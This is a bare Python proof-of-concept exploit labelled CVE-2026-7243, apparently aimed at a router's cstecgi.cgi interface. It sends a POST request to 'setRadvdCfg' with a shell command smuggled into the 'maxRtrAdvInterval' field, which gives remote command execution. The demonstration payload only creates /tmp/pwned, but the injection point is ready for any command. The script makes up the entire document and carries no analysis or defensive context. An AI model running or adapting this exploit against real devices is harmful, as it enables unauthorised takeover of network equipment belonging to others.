CVE-2026-7243

import requests # Target IP address of the vulnerable device target_ip = "192.168.0.1" url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Vulnerable payload: Injecting a command to create a file as proof of execution # The argument 'maxRtrAdvInterval' is the injection point payload_data = { "topicurl": "setRadvdCfg", "maxRtrAdvInterval": "20; touch /tmp/pwned; #" # Injection: Set value then execute command } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } try: # Send the malicious POST request response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[*] Check /tmp/pwned on the target device to verify command execution.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

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